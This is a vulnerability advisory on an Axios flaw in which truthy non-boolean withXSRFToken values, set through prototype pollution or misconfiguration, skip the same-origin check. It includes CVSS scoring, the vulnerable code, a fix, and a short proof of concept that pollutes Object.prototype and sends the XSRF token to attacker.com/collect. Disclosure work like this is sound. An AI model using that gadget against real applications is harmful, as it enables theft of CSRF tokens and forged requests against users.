CVE-2026-42042

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

• CWE-201: Insertion of Sensitive Information Into Sent Data
• CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	PP triggered remotely via vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	Required	Victim must use browser with axios making cross-origin requests
Scope	Unchanged	Token leakage within browser context
Confidentiality	Low	XSRF token leaked — anti-CSRF token, not session token
Integrity	Low	Stolen XSRF token enables CSRF attacks (bypass CSRF protection only)
Availability	None	No availability impact

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
//  ^^^^^^^^^^^^^^^^
//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
//  isURLSameOrigin() is NEVER called → token sent to ANY origin
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Designed behavior:

• true → always send token (explicit cross-origin opt-in)
• false → never send token
• undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []):

• All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value        Sends Token Cross-Origin  Expected
true (boolean)             YES                       Yes (opt-in)
false (boolean)            No                        No
undefined (default)        No                        No
1 (number)                 YES ← BUG                No
"false" (string)           YES ← BUG                No
{} (object)                YES ← BUG                No
[] (array)                 YES ← BUG                No

Prototype pollution:
  Object.prototype.withXSRFToken = 1
  config.withXSRFToken = 1 → leaks=true
  isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

• XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
• Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
• Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations:

• Browser-only (XSRF logic runs only in hasStandardBrowserEnv)
• XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
• Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
  (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) {
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Resources

• CWE-201: Insertion of Sensitive Information Into Sent Data
• CWE-183: Permissive List of Allowed Inputs
• GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
• Axios GitHub Repository

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: corrected CVSS, documented limitations
TBD	Report submitted to vendor via GitHub Security Advisory